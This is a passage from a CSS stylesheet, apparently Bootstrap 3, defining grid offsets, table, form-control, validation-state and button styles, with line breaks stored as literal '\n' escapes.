25%;\n }\n .col-lg-push-2 {\n left: 16.66666667%;\n }\n .col-lg-push-1 {\n left: 8.33333333%;\n }\n .col-lg-push-0 {\n left: auto;\n }\n .col-lg-offset-12 {\n margin-left: 100%;\n }\n .col-lg-offset-11 {\n margin-left: 91.66666667%;\n }\n .col-lg-offset-10 {\n margin-left: 83.33333333%;\n }\n .col-lg-offset-9 {\n margin-left: 75%;\n }\n .col-lg-offset-8 {\n margin-left: 66.66666667%;\n }\n .col-lg-offset-7 {\n margin-left: 58.33333333%;\n }\n .col-lg-offset-6 {\n margin-left: 50%;\n }\n .col-lg-offset-5 {\n margin-left: 41.66666667%;\n }\n .col-lg-offset-4 {\n margin-left: 33.33333333%;\n }\n .col-lg-offset-3 {\n margin-left: 25%;\n }\n .col-lg-offset-2 {\n margin-left: 16.66666667%;\n }\n .col-lg-offset-1 {\n margin-left: 8.33333333%;\n }\n .col-lg-offset-0 {\n margin-left: 0%;\n }\n}\ntable {\n background-color: transparent;\n}\ncaption {\n padding-top: 8px;\n padding-bottom: 8px;\n color: #777777;\n text-align: left;\n}\nth {\n text-align: left;\n}\n.table {\n width: 100%;\n max-width: 100%;\n margin-bottom: 20px;\n}\n.table > thead > tr > th,\n.table > tbody > tr > th,\n.table > tfoot > tr > th,\n.table > thead > tr > td,\n.table > tbody > tr > td,\n.table > tfoot > tr > td {\n padding: 8px;\n line-height: 1.42857143;\n vertical-align: top;\n border-top: 1px solid #ddd;\n}\n.table > thead > tr > th {\n vertical-align: bottom;\n border-bottom: 2px solid #ddd;\n}\n.table > caption + thead > tr:first-child > th,\n.table > colgroup + thead > tr:first-child > th,\n.table > thead:first-child > tr:first-child > th,\n.table > caption + thead > tr:first-child > td,\n.table > colgroup + thead > tr:first-child > td,\n.table > thead:first-child > tr:first-child > td {\n border-top: 0;\n}\n.table > tbody + tbody {\n border-top: 2px solid #ddd;\n}\n.table .table {\n background-color: #fff;\n}\n.table-condensed > thead > tr > th,\n.table-condensed > tbody > tr > th,\n.table-condensed > tfoot > tr > th,\n.table-condensed > thead > tr > td,\n.table-condensed > tbody > tr > td,\n.table-condensed > tfoot > tr > td {\n padding: 5px;\n}\n.table-bordered {\n border: 1px solid #ddd;\n}\n.table-bordered > thead > tr > th,\n.table-bordered > tbody > tr > th,\n.table-bordered > tfoot > tr > th,\n.table-bordered > thead > tr > td,\n.table-bordered > tbody > tr > td,\n.table-bordered > tfoot > tr > td {\n border: 1px solid #ddd;\n}\n.table-bordered > thead > tr > th,\n.table-bordered > thead > tr > td {\n border-bottom-width: 2px;\n}\n.table-striped > tbody > tr:nth-of-type(odd) {\n background-color: #f9f9f9;\n}\n.table-hover > tbody > tr:hover {\n background-color: #f5f5f5;\n}\ntable col[class*=\"col-\"] {\n position: static;\n float: none;\n display: table-column;\n}\ntable td[class*=\"col-\"],\ntable th[class*=\"col-\"] {\n position: static;\n float: none;\n display: table-cell;\n}\n.table > thead > tr > td.active,\n.table > tbody > tr > td.active,\n.table > tfoot > tr > td.active,\n.table > thead > tr > th.active,\n.table > tbody > tr > th.active,\n.table > tfoot > tr > th.active,\n.table > thead > tr.active > td,\n.table > tbody > tr.active > td,\n.table > tfoot > tr.active > td,\n.table > thead > tr.active > th,\n.table > tbody > tr.active > th,\n.table > tfoot > tr.active > th {\n background-color: #f5f5f5;\n}\n.table-hover > tbody > tr > td.active:hover,\n.table-hover > tbody > tr > th.active:hover,\n.table-hover > tbody > tr.active:hover > td,\n.table-hover > tbody > tr:hover > .active,\n.table-hover > tbody > tr.active:hover > th {\n background-color: #e8e8e8;\n}\n.table > thead > tr > td.success,\n.table > tbody > tr > td.success,\n.table > tfoot > tr > td.success,\n.table > thead > tr > th.success,\n.table > tbody > tr > th.success,\n.table > tfoot > tr > th.success,\n.table > thead > tr.success > td,\n.table > tbody > tr.success > td,\n.table > tfoot > tr.success > td,\n.table > thead > tr.success > th,\n.table > tbody > tr.success > th,\n.table > tfoot > tr.success > th {\n background-color: #dff0d8;\n}\n.table-hover > tbody > tr > td.success:hover,\n.table-hover > tbody > tr > th.success:hover,\n.table-hover > tbody > tr.success:hover > td,\n.table-hover > tbody > tr:hover > .success,\n.table-hover > tbody > tr.success:hover > th {\n background-color: #d0e9c6;\n}\n.table > thead > tr > td.info,\n.table > tbody > tr > td.info,\n.table > tfoot > tr > td.info,\n.table > thead > tr > th.info,\n.table > tbody > tr > th.info,\n.table > tfoot > tr > th.info,\n.table > thead > tr.info > td,\n.table > tbody > tr.info > td,\n.table > tfoot > tr.info > td,\n.table > thead > tr.info > th,\n.table > tbody > tr.info > th,\n.table > tfoot > tr.info > th {\n background-color: #d9edf7;\n}\n.table-hover > tbody > tr > td.info:hover,\n.table-hover > tbody > tr > th.info:hover,\n.table-hover > tbody > tr.info:hover > td,\n.table-hover > tbody > tr:hover > .info,\n.table-hover > tbody > tr.info:hover > th {\n background-color: #c4e3f3;\n}\n.table > thead > tr > td.warning,\n.table > tbody > tr > td.warning,\n.table > tfoot > tr > td.warning,\n.table > thead > tr > th.warning,\n.table > tbody > tr > th.warning,\n.table > tfoot > tr > th.warning,\n.table > thead > tr.warning > td,\n.table > tbody > tr.warning > td,\n.table > tfoot > tr.warning > td,\n.table > thead > tr.warning > th,\n.table > tbody > tr.warning > th,\n.table > tfoot > tr.warning > th {\n background-color: #fcf8e3;\n}\n.table-hover > tbody > tr > td.warning:hover,\n.table-hover > tbody > tr > th.warning:hover,\n.table-hover > tbody > tr.warning:hover > td,\n.table-hover > tbody > tr:hover > .warning,\n.table-hover > tbody > tr.warning:hover > th {\n background-color: #faf2cc;\n}\n.table > thead > tr > td.danger,\n.table > tbody > tr > td.danger,\n.table > tfoot > tr > td.danger,\n.table > thead > tr > th.danger,\n.table > tbody > tr > th.danger,\n.table > tfoot > tr > th.danger,\n.table > thead > tr.danger > td,\n.table > tbody > tr.danger > td,\n.table > tfoot > tr.danger > td,\n.table > thead > tr.danger > th,\n.table > tbody > tr.danger > th,\n.table > tfoot > tr.danger > th {\n background-color: #f2dede;\n}\n.table-hover > tbody > tr > td.danger:hover,\n.table-hover > tbody > tr > th.danger:hover,\n.table-hover > tbody > tr.danger:hover > td,\n.table-hover > tbody > tr:hover > .danger,\n.table-hover > tbody > tr.danger:hover > th {\n background-color: #ebcccc;\n}\n.table-responsive {\n overflow-x: auto;\n min-height: 0.01%;\n}\n@media screen and (max-width: 767px) {\n .table-responsive {\n width: 100%;\n margin-bottom: 15px;\n overflow-y: hidden;\n -ms-overflow-style: -ms-autohiding-scrollbar;\n border: 1px solid #ddd;\n }\n .table-responsive > .table {\n margin-bottom: 0;\n }\n .table-responsive > .table > thead > tr > th,\n .table-responsive > .table > tbody > tr > th,\n .table-responsive > .table > tfoot > tr > th,\n .table-responsive > .table > thead > tr > td,\n .table-responsive > .table > tbody > tr > td,\n .table-responsive > .table > tfoot > tr > td {\n white-space: nowrap;\n }\n .table-responsive > .table-bordered {\n border: 0;\n }\n .table-responsive > .table-bordered > thead > tr > th:first-child,\n .table-responsive > .table-bordered > tbody > tr > th:first-child,\n .table-responsive > .table-bordered > tfoot > tr > th:first-child,\n .table-responsive > .table-bordered > thead > tr > td:first-child,\n .table-responsive > .table-bordered > tbody > tr > td:first-child,\n .table-responsive > .table-bordered > tfoot > tr > td:first-child {\n border-left: 0;\n }\n .table-responsive > .table-bordered > thead > tr > th:last-child,\n .table-responsive > .table-bordered > tbody > tr > th:last-child,\n .table-responsive > .table-bordered > tfoot > tr > th:last-child,\n .table-responsive > .table-bordered > thead > tr > td:last-child,\n .table-responsive > .table-bordered > tbody > tr > td:last-child,\n .table-responsive > .table-bordered > tfoot > tr > td:last-child {\n border-right: 0;\n }\n .table-responsive > .table-bordered > tbody > tr:last-child > th,\n .table-responsive > .table-bordered > tfoot > tr:last-child > th,\n .table-responsive > .table-bordered > tbody > tr:last-child > td,\n .table-responsive > .table-bordered > tfoot > tr:last-child > td {\n border-bottom: 0;\n }\n}\nfieldset {\n padding: 0;\n margin: 0;\n border: 0;\n min-width: 0;\n}\nlegend {\n display: block;\n width: 100%;\n padding: 0;\n margin-bottom: 20px;\n font-size: 21px;\n line-height: inherit;\n color: #333333;\n border: 0;\n border-bottom: 1px solid #e5e5e5;\n}\nlabel {\n display: inline-block;\n max-width: 100%;\n margin-bottom: 5px;\n font-weight: bold;\n}\ninput[type=\"search\"] {\n -webkit-box-sizing: border-box;\n -moz-box-sizing: border-box;\n box-sizing: border-box;\n}\ninput[type=\"radio\"],\ninput[type=\"checkbox\"] {\n margin: 4px 0 0;\n margin-top: 1px \\9;\n line-height: normal;\n}\ninput[type=\"file\"] {\n display: block;\n}\ninput[type=\"range\"] {\n display: block;\n width: 100%;\n}\nselect[multiple],\nselect[size] {\n height: auto;\n}\ninput[type=\"file\"]:focus,\ninput[type=\"radio\"]:focus,\ninput[type=\"checkbox\"]:focus {\n outline: 5px auto -webkit-focus-ring-color;\n outline-offset: -2px;\n}\noutput {\n display: block;\n padding-top: 7px;\n font-size: 14px;\n line-height: 1.42857143;\n color: #555555;\n}\n.form-control {\n display: block;\n width: 100%;\n height: 34px;\n padding: 6px 12px;\n font-size: 14px;\n line-height: 1.42857143;\n color: #555555;\n background-color: #fff;\n background-image: none;\n border: 1px solid #ccc;\n border-radius: 4px;\n -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);\n box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);\n -webkit-transition: border-color ease-in-out .15s, box-shadow ease-in-out .15s;\n -o-transition: border-color ease-in-out .15s, box-shadow ease-in-out .15s;\n transition: border-color ease-in-out .15s, box-shadow ease-in-out .15s;\n}\n.form-control:focus {\n border-color: #66afe9;\n outline: 0;\n -webkit-box-shadow: inset 0 1px 1px rgba(0,0,0,.075), 0 0 8px rgba(102, 175, 233, 0.6);\n box-shadow: inset 0 1px 1px rgba(0,0,0,.075), 0 0 8px rgba(102, 175, 233, 0.6);\n}\n.form-control::-moz-placeholder {\n color: #999;\n opacity: 1;\n}\n.form-control:-ms-input-placeholder {\n color: #999;\n}\n.form-control::-webkit-input-placeholder {\n color: #999;\n}\n.form-control::-ms-expand {\n border: 0;\n background-color: transparent;\n}\n.form-control[disabled],\n.form-control[readonly],\nfieldset[disabled] .form-control {\n background-color: #eeeeee;\n opacity: 1;\n}\n.form-control[disabled],\nfieldset[disabled] .form-control {\n cursor: not-allowed;\n}\ntextarea.form-control {\n height: auto;\n}\ninput[type=\"search\"] {\n -webkit-appearance: none;\n}\n@media screen and (-webkit-min-device-pixel-ratio: 0) {\n input[type=\"date\"].form-control,\n input[type=\"time\"].form-control,\n input[type=\"datetime-local\"].form-control,\n input[type=\"month\"].form-control {\n line-height: 34px;\n }\n input[type=\"date\"].input-sm,\n input[type=\"time\"].input-sm,\n input[type=\"datetime-local\"].input-sm,\n input[type=\"month\"].input-sm,\n .input-group-sm input[type=\"date\"],\n .input-group-sm input[type=\"time\"],\n .input-group-sm input[type=\"datetime-local\"],\n .input-group-sm input[type=\"month\"] {\n line-height: 30px;\n }\n input[type=\"date\"].input-lg,\n input[type=\"time\"].input-lg,\n input[type=\"datetime-local\"].input-lg,\n input[type=\"month\"].input-lg,\n .input-group-lg input[type=\"date\"],\n .input-group-lg input[type=\"time\"],\n .input-group-lg input[type=\"datetime-local\"],\n .input-group-lg input[type=\"month\"] {\n line-height: 46px;\n }\n}\n.form-group {\n margin-bottom: 15px;\n}\n.radio,\n.checkbox {\n position: relative;\n display: block;\n margin-top: 10px;\n margin-bottom: 10px;\n}\n.radio label,\n.checkbox label {\n min-height: 20px;\n padding-left: 20px;\n margin-bottom: 0;\n font-weight: normal;\n cursor: pointer;\n}\n.radio input[type=\"radio\"],\n.radio-inline input[type=\"radio\"],\n.checkbox input[type=\"checkbox\"],\n.checkbox-inline input[type=\"checkbox\"] {\n position: absolute;\n margin-left: -20px;\n margin-top: 4px \\9;\n}\n.radio + .radio,\n.checkbox + .checkbox {\n margin-top: -5px;\n}\n.radio-inline,\n.checkbox-inline {\n position: relative;\n display: inline-block;\n padding-left: 20px;\n margin-bottom: 0;\n vertical-align: middle;\n font-weight: normal;\n cursor: pointer;\n}\n.radio-inline + .radio-inline,\n.checkbox-inline + .checkbox-inline {\n margin-top: 0;\n margin-left: 10px;\n}\ninput[type=\"radio\"][disabled],\ninput[type=\"checkbox\"][disabled],\ninput[type=\"radio\"].disabled,\ninput[type=\"checkbox\"].disabled,\nfieldset[disabled] input[type=\"radio\"],\nfieldset[disabled] input[type=\"checkbox\"] {\n cursor: not-allowed;\n}\n.radio-inline.disabled,\n.checkbox-inline.disabled,\nfieldset[disabled] .radio-inline,\nfieldset[disabled] .checkbox-inline {\n cursor: not-allowed;\n}\n.radio.disabled label,\n.checkbox.disabled label,\nfieldset[disabled] .radio label,\nfieldset[disabled] .checkbox label {\n cursor: not-allowed;\n}\n.form-control-static {\n padding-top: 7px;\n padding-bottom: 7px;\n margin-bottom: 0;\n min-height: 34px;\n}\n.form-control-static.input-lg,\n.form-control-static.input-sm {\n padding-left: 0;\n padding-right: 0;\n}\n.input-sm {\n height: 30px;\n padding: 5px 10px;\n font-size: 12px;\n line-height: 1.5;\n border-radius: 3px;\n}\nselect.input-sm {\n height: 30px;\n line-height: 30px;\n}\ntextarea.input-sm,\nselect[multiple].input-sm {\n height: auto;\n}\n.form-group-sm .form-control {\n height: 30px;\n padding: 5px 10px;\n font-size: 12px;\n line-height: 1.5;\n border-radius: 3px;\n}\n.form-group-sm select.form-control {\n height: 30px;\n line-height: 30px;\n}\n.form-group-sm textarea.form-control,\n.form-group-sm select[multiple].form-control {\n height: auto;\n}\n.form-group-sm .form-control-static {\n height: 30px;\n min-height: 32px;\n padding: 6px 10px;\n font-size: 12px;\n line-height: 1.5;\n}\n.input-lg {\n height: 46px;\n padding: 10px 16px;\n font-size: 18px;\n line-height: 1.3333333;\n border-radius: 6px;\n}\nselect.input-lg {\n height: 46px;\n line-height: 46px;\n}\ntextarea.input-lg,\nselect[multiple].input-lg {\n height: auto;\n}\n.form-group-lg .form-control {\n height: 46px;\n padding: 10px 16px;\n font-size: 18px;\n line-height: 1.3333333;\n border-radius: 6px;\n}\n.form-group-lg select.form-control {\n height: 46px;\n line-height: 46px;\n}\n.form-group-lg textarea.form-control,\n.form-group-lg select[multiple].form-control {\n height: auto;\n}\n.form-group-lg .form-control-static {\n height: 46px;\n min-height: 38px;\n padding: 11px 16px;\n font-size: 18px;\n line-height: 1.3333333;\n}\n.has-feedback {\n position: relative;\n}\n.has-feedback .form-control {\n padding-right: 42.5px;\n}\n.form-control-feedback {\n position: absolute;\n top: 0;\n right: 0;\n z-index: 2;\n display: block;\n width: 34px;\n height: 34px;\n line-height: 34px;\n text-align: center;\n pointer-events: none;\n}\n.input-lg + .form-control-feedback,\n.input-group-lg + .form-control-feedback,\n.form-group-lg .form-control + .form-control-feedback {\n width: 46px;\n height: 46px;\n line-height: 46px;\n}\n.input-sm + .form-control-feedback,\n.input-group-sm + .form-control-feedback,\n.form-group-sm .form-control + .form-control-feedback {\n width: 30px;\n height: 30px;\n line-height: 30px;\n}\n.has-success .help-block,\n.has-success .control-label,\n.has-success .radio,\n.has-success .checkbox,\n.has-success .radio-inline,\n.has-success .checkbox-inline,\n.has-success.radio label,\n.has-success.checkbox label,\n.has-success.radio-inline label,\n.has-success.checkbox-inline label {\n color: #3c763d;\n}\n.has-success .form-control {\n border-color: #3c763d;\n -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);\n box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);\n}\n.has-success .form-control:focus {\n border-color: #2b542c;\n -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #67b168;\n box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #67b168;\n}\n.has-success .input-group-addon {\n color: #3c763d;\n border-color: #3c763d;\n background-color: #dff0d8;\n}\n.has-success .form-control-feedback {\n color: #3c763d;\n}\n.has-warning .help-block,\n.has-warning .control-label,\n.has-warning .radio,\n.has-warning .checkbox,\n.has-warning .radio-inline,\n.has-warning .checkbox-inline,\n.has-warning.radio label,\n.has-warning.checkbox label,\n.has-warning.radio-inline label,\n.has-warning.checkbox-inline label {\n color: #8a6d3b;\n}\n.has-warning .form-control {\n border-color: #8a6d3b;\n -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);\n box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);\n}\n.has-warning .form-control:focus {\n border-color: #66512c;\n -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #c0a16b;\n box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #c0a16b;\n}\n.has-warning .input-group-addon {\n color: #8a6d3b;\n border-color: #8a6d3b;\n background-color: #fcf8e3;\n}\n.has-warning .form-control-feedback {\n color: #8a6d3b;\n}\n.has-error .help-block,\n.has-error .control-label,\n.has-error .radio,\n.has-error .checkbox,\n.has-error .radio-inline,\n.has-error .checkbox-inline,\n.has-error.radio label,\n.has-error.checkbox label,\n.has-error.radio-inline label,\n.has-error.checkbox-inline label {\n color: #a94442;\n}\n.has-error .form-control {\n border-color: #a94442;\n -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);\n box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);\n}\n.has-error .form-control:focus {\n border-color: #843534;\n -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #ce8483;\n box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #ce8483;\n}\n.has-error .input-group-addon {\n color: #a94442;\n border-color: #a94442;\n background-color: #f2dede;\n}\n.has-error .form-control-feedback {\n color: #a94442;\n}\n.has-feedback label ~ .form-control-feedback {\n top: 25px;\n}\n.has-feedback label.sr-only ~ .form-control-feedback {\n top: 0;\n}\n.help-block {\n display: block;\n margin-top: 5px;\n margin-bottom: 10px;\n color: #737373;\n}\n@media (min-width: 768px) {\n .form-inline .form-group {\n display: inline-block;\n margin-bottom: 0;\n vertical-align: middle;\n }\n .form-inline .form-control {\n display: inline-block;\n width: auto;\n vertical-align: middle;\n }\n .form-inline .form-control-static {\n display: inline-block;\n }\n .form-inline .input-group {\n display: inline-table;\n vertical-align: middle;\n }\n .form-inline .input-group .input-group-addon,\n .form-inline .input-group .input-group-btn,\n .form-inline .input-group .form-control {\n width: auto;\n }\n .form-inline .input-group > .form-control {\n width: 100%;\n }\n .form-inline .control-label {\n margin-bottom: 0;\n vertical-align: middle;\n }\n .form-inline .radio,\n .form-inline .checkbox {\n display: inline-block;\n margin-top: 0;\n margin-bottom: 0;\n vertical-align: middle;\n }\n .form-inline .radio label,\n .form-inline .checkbox label {\n padding-left: 0;\n }\n .form-inline .radio input[type=\"radio\"],\n .form-inline .checkbox input[type=\"checkbox\"] {\n position: relative;\n margin-left: 0;\n }\n .form-inline .has-feedback .form-control-feedback {\n top: 0;\n }\n}\n.form-horizontal .radio,\n.form-horizontal .checkbox,\n.form-horizontal .radio-inline,\n.form-horizontal .checkbox-inline {\n margin-top: 0;\n margin-bottom: 0;\n padding-top: 7px;\n}\n.form-horizontal .radio,\n.form-horizontal .checkbox {\n min-height: 27px;\n}\n.form-horizontal .form-group {\n margin-left: -15px;\n margin-right: -15px;\n}\n@media (min-width: 768px) {\n .form-horizontal .control-label {\n text-align: right;\n margin-bottom: 0;\n padding-top: 7px;\n }\n}\n.form-horizontal .has-feedback .form-control-feedback {\n right: 15px;\n}\n@media (min-width: 768px) {\n .form-horizontal .form-group-lg .control-label {\n padding-top: 11px;\n font-size: 18px;\n }\n}\n@media (min-width: 768px) {\n .form-horizontal .form-group-sm .control-label {\n padding-top: 6px;\n font-size: 12px;\n }\n}\n.btn {\n display: inline-block;\n margin-bottom: 0;\n font-weight: normal;\n text-align: center;\n vertical-align: middle;\n touch-action: manipulation;\n cursor: pointer;\n background-image: none;\n border: 1px solid transparent;\n white-space: nowrap;\n padding: 6px 12px;\n font-size: 14px;\n line-height: 1.42857143;\n border-radius: 4px;\n -webkit-user-select: none;\n -moz-user-select: none;\n -ms-user-select: none;\n user-select: none;\n}\n.btn:focus,\n.btn:active:focus,\n.btn.active:focus,\n.btn.focus,\n.btn:active.focus,\n.btn.active.focus {\n outline: 5px auto -webkit-focus-ring-color;\n outline-offset: -2px;\n}\n.btn:hover,\n.btn:focus,\n.btn.focus {\n color: #333;\n text-decoration: none;\n}\n.btn:active,\n.btn.active {\n outline: 0;\n background-image: none;\n -webkit-box-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125);\n box-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125);\n}\n.btn.disabled,\n.btn[disabled],\nfieldset[disabled] .btn {\n cursor: not-allowed;\n opacity: 0.65;\n filter: alpha(opacity=65);\n -webkit-box-shadow: none;\n box-shadow: none;\n}\na.btn.disabled,\nfieldset[disabled] a.btn {\n pointer-events: none;\n}\n.btn-default {\n color: #333;\n background-color: #fff;\n border-color: #ccc;\n}\n.btn-default:focus,\n.btn-default.focus {\n color: #333;\n background-color: #e6e6e6;\n border-color: #8c8c8c;\n}\n.btn-default:hover {\n color: #333;\n background-color: #e6e6e6;\n border-color: #adadad;\n}\n.btn-default:active,\n.btn-default.active,\n.open > .dropdown-toggle.btn-default {\n color: #333;\n background-color: #e6e6e6;\n border-color: #adadad;\n}\n.btn-default:active:hover,\n.btn-default.active:hover,\n.open > .dropdown-toggle.btn-default:hover,\n.btn-default:active:focus,\n.btn-default.active:focus,\n.open > .dropdown-toggle.btn-default:focus,\n.btn-default:active.focus,\n.btn-default.active.focus,\n.open > .dropdown-toggle.btn-default.focus {\n color: #333;\n background-color: #d4d4d4;\n border-color: #8c8c8c;\n}\n.btn-default:active,\n.btn-default.active,\n.open > .dropdown-toggle.btn-default {\n background-image: none;\n}\n.btn-default.disabled:hover,\n.btn-default[disabled]:hover,\nfieldset[disabled] .btn-default:hover,\n.btn-default.disabled:focus,\n.btn-default[disabled]:focus,\nfieldset[disabled] .btn-default:focus,\n.btn-default.disabled.focus,\n.btn-default[disabled].focus,\nfieldset[disabled] .btn-default.focus {\n background-color: #fff;\n border-color: #ccc;\n}\n.btn-default .badge {\n color: #fff;\n background-color: #333;\n}\n.btn-primary {\n color: #fff;\n background-color: #337ab7;\n border-color: #2e6da4;\n}\n.btn-primary:focus,\n.btn-primary.focus {\n color: #fff;\n background-color: #286090;\n border-color: #122b40;\n}\n.btn-primary:hover {\n color: #fff;\n background-color: #286090;\n border-color: #204d74;\n}\n.btn-primary:active,\n.btn-primary.active,\n.open > .dropdown-toggle.btn-primary {\n color: #fff;\n background-color: #286090;\n border-color: #204d74;\n}\n.btn-primary:active:hover,\n.btn-primary.active:hover,\n.open > .dropdown-toggle.btn-primary:hover,\n.btn-primary:active:focus,\n.btn-primary.active:focus,\n.open > .dropdown-toggle.btn-primary:focus,\n.btn-primary:active.focus,\n.btn-primary.active.focus,\n.open > .dropdown-toggle.btn-primary.focus {\n color: #fff;\n background-color: #204d74;\n border-color: #122b40;\n}\n.btn-primary:active,\n.btn-primary.active,\n.open > .dropdown-toggle.btn-primary {\n background-image: none;\n}\n.btn-primary.disabled:hover,\n.btn-primary[disabled]:hover,\nfieldset[disabled] .btn-primary:hover,\n.btn-primary.disabled:focus,\n.btn-primary[disabled]:focus,\nfieldset[disabled] .btn-primary:focus,\n.btn-primary.disabled.focus,\n.btn-primary[disabled].focus,\nfieldset[disabled] .btn-primary.focus {\n background-color: #337ab7;\n border-color: #2e6da4;\n}\n.btn-primary .badge {\n color: #337ab7;\n background-color: #fff;\n}\n.btn-success {\n color: #fff;\n background-color: #5cb85c;\n border-color: #4cae4c;\n}\n.btn-success:focus,\n.btn-success.focus {\n color: #fff;\n background-color: #449d44;\n border-color: #255625;\n}\n.btn-success:hover {\n color: #fff;\n background-color: #449d44;\n border-color: #398439;\n}\n.btn-success:active,\n.btn-success.active,\n.open > .dropdown-toggle.btn-success {\n color: #fff;\n background-color: #449d44;\n border-color: #398439;\n}\n.btn-success:active:hover,\n.btn-success.active:hover,\n.open > .dropdown-toggle.btn-success:hover,\n.btn-success:active:focus,\n.btn-success.active:focus,\n.open > .dropdown-toggle.btn-success:focus,\n.btn-success:active.focus,\n.btn-success.active.focus,\n.open > .dropdown-toggle.btn-success.focus {\n color: #fff;\n background-color: #398439;\n border-color: #255625;\n}\n.btn-success:active,\n.btn-success.active,\n.open > .dropdown-toggle.btn-success {\n background-image: none;\n}\n.btn-success.disabled:hover,\n.btn-success[disabled]:hover,\nfieldset[disabled] .btn-success:hover,\n.btn-success.disabled:focus,\n.btn-success[disabled]:focus,\nfieldset[disabled] .btn-success:focus,\n.btn-success.disabled.focus,\n.btn-success[disabled].focus,\nfieldset[disabled] .btn-success.focus {\n background-color: #5cb85c;\n border-color: #4cae4c;\n}\n.btn-success .badge {\n color: #5cb85c;\n background-color: #fff;\n}\n.btn-info {\n color: #fff;\n background-color: #5bc0de;\n border-color: #46b8da;\n}\n.btn-info:focus,\n.btn-info.focus {\n color: #fff;\n background-color: #31b0d5;\n border-color: #1b6d85;\n}\n.btn-info:hover {\n color: #fff;\n background-color: #31b0d5;\n border-color: #269abc;\n}\n.btn-info:active,\n.btn-info.active,\n.open > .dropdown-toggle.btn-info {\n color: #fff;\n background-color: #31b0d5;\n border-color: #269abc;\n}\n.btn-info:active:hover,\n.btn-info.active:hover,\n.open > .dropdown-toggle.btn-info:hover,\n.btn-info:active:focus,\n.btn-info.active:focus,\n.open > .dropdown-toggle.btn-info:focus,\n.btn-info:active.focus,\n.btn-info.active.focus,\n.open > .dropdown-toggle.btn-info.focus {\n color: #fff;\n background-color: #269abc;\n border-color: #1b6d85;\n}\n.btn-info:active,\n.btn-info.active,\n.open > .dropdown-toggle.btn-info {\n background-image: none;\n}\n.btn-info.disabled:hover,\n.btn-info[disabled]:hover,\nfieldset[disabled] .btn-info:hover,\n.btn-info.disabled:focus,\n.btn-info[disabled]:focus,\nfieldset[disabled] .btn-info:focus,\n.btn-info.disabled.focus,\n.btn-info[disabled].focus,\nfieldset[disabled] .btn-info.focus {\n background-color: #5bc0de;\n border-color: #46b8da;\n}\n.btn-info .badge {\n color: #5bc0de;\n background-color: #fff;\n}\n.btn-warning {\n color: #fff;\n background-color: #f0ad4e;\n border-color: #eea236;\n}\n.btn-warning:focus,\n.btn-warning.focus {\n color: #fff;\n background-color: #ec971f;\n border-color: #985f0d;\n}\n.btn-warning:hover {\n color: #fff;\n background-color: #ec971f;\n border-color: #d58512;\n}\n.btn-warning:active,\n.btn-warning.active,\n.open > .dropdown-toggle.btn-warning {\n color: #fff;\n background-color: #ec971f;\n border-color: #d58512;\n}\n.btn-warning:active:hover,\n.btn-warning.active:hover,\n.open > .dropdown-toggle.btn-warning:hover,\n.btn-warning:active:focus,\n.btn-warning.active:focus,\n.open > .dropdown-toggle.btn-warning:focus,\n.btn-warning:active.focus,\n.btn-warning.active.focus,\n.open > .dropdown-toggle.btn-warning.focus {\n color: #fff;\n background-color: #d58512;\n border-color: #985f0d;\n}\n.btn-warning:active,\n.btn-warning.active,\n.open > .dropdown-toggle.btn-warning {\n background-image: none;\n}\n.btn-warning.disabled:hover,\n.btn-warning[disabled]:hover,\nfieldset[disabled] .btn-warning:hover,\n.btn-warning.disabled:focus,\n.btn-warning[disabled]:focus,\nfieldset[disabled] .btn-warning:focus,\n.btn-warning.disabled.focus,\n.btn-warning[disabled].focus,\nfieldset[disabled] .btn-warning.focus {\n background-color: #f0ad4e;\n border-color: #eea236;\n}\n.btn-warning .badge {\n color: #f0ad4e;\n background-color: #fff;\n}\n.btn-danger {\n color: #fff;\n background-color: #d9534f;\n border-color: #d43f3a;\n}\n.btn-danger:focus,\n.btn-danger.focus {\n color: #fff;\n background-color: #c9302c;\n border-color: #761c19;\n}\n.btn-danger:hover {\n color: #fff;\n background-color: #c9302c;\n border-color: #ac2925;\n}\n.btn-danger:active,\n.btn-danger.active,\n.open > .dropdown-toggle.btn-danger {\n color: #fff;\n background-color: #c9302c;\n border-color: #ac2925;\n}\n.btn-danger:active:hover,\n.btn-danger.active:hover,\n.open > .dropdown-toggle.btn-danger:hover,\n.btn-danger:active:focus,\n.btn-danger.active:focus,\n.open > .dropdown-toggle.btn-danger:focus,\n.btn-danger:active.focus,\n.btn-danger.active.focus,\n.open > .dropdown-toggle.btn-danger.focus {\n color: #fff;\n background-color: #ac2925;\n border-color: #761c19;\n}\n.btn-danger:active,\n.btn-danger.active,\n.open > .dropdown-toggle.btn-danger {\n background-image: none;\n}\n.btn-danger.disabled:hover,\n.btn-danger[disabled]:hover,\nfieldset[disabled] .btn-danger:hover,\n.btn-danger.disabled:focus,\n.btn-danger[disabled]:focus,\nfieldset[disabled] .btn-danger:focus,\n.btn-danger.disabled.focus,\n.btn-danger[disabled].focus,\nfieldset[disabled] .btn-danger.focus {\n background-color: #d9534f;\n border-color: #d43f3a;\n}\n.btn-danger .badge {\n color: #d9534f;\n background-color: #fff;\n}\n.btn-link {\n color: #337ab7;\n font-weight: normal;\n border-radius: 0;\n}\n.btn-link,\n.btn-link:active,\n.btn-link.active,\n.btn-link[disabled],\nfieldset[disabled] .btn-link {\n background-color: transparent;\n -webkit-box-shadow: none;\n box-shadow: none;\n}\n.btn-link,\n.btn-link:hover,\n.btn-link:focus,\n.btn-link:active {\n border-color: transparent;\n}\n.btn-link:hover,\n.btn-link:focus {\n color: #23527c;\n text-decoration: underline;\n background-color: transparent;\n}\n.btn-link[disabled]:hover,\nfieldset[disabled] .btn-link:hover,\n.btn-link[disabled]:focus,\nfieldset[disabled] 